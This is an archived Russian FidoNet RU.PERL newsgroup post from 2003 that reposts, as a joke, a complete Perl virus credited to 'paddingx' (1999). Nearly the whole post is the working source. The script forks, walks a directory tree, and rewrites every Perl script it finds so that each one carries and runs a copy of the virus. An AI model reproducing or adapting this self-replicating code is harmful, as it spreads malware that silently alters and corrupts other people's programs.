ru.perl

 
 - RU.PERL ----------------------------------------------------------------------
 From : Dmitry Suhodoev                      2:550/428      01 Apr 2003  10:12:27
 To : all
 Subject : я плакалъ ;)
 -------------------------------------------------------------------------------- 
 

 
 ЙН( begin of /nt4 clipboard/ )ННННННННµ imported by *raVen* ЖН»
 #!/usr/bin/perl
 use File::Find;
 &virus();
 
 print "\nThis program is infected by the Perl virus\n\n";
 
 sub virus
   {
     my ( $pid, $new );
     if( $pid = fork ) { return; }
     else
       {
         open( source, $0 );
         finddepth ( \&infect, '/home/chris/test' );
         sub infect
           {
             open target, "$File::Find::name";
             $_ = <target>;
             if ( /(\#!.*perl)/ )
               {
                 $_ = <target>;
                 if( $_ ne "use File::Find;\n" )
                   {
                     $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
                     while( <target> ) { $new = $new . $_; }
                     seek(  source, 0, 0 );
                     while( <source> ne "sub virus\n" ) { };
                     $new = $new . "\nsub virus\n";
                     while( <source> ) { $new = $new . $_; }
                     close  target;
                     open   target, ">$File::Find::name";
                     print  target $new;
                  }
               }
             close( target );
           }
         close( source );
         exit( 0 );
       }
   }
 
 # a Perl virus, by paddingx
 # 08/15/1999
 ИН( end   of /nt4 clipboard/ )ННННННННµ imported by *raVen* ЖНј
 
 --
 raVen, iam#raven.elk.ru, http://raven.elk.ru/, icq#550428
 
 ... "ошибка находится между кpеслом и клавиатуpой" (q) elendal on #unix
  * Origin: 0d 1h 11m 18s 171ms (2:550/428)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

Тема:    Автор:    Дата:    я плакалъ ;)   Dmitry Suhodoev   01 Apr 2003 10:12:27   Re: я плакалъ ;)   Konstantin Semitchev   17 Apr 2003 13:12:56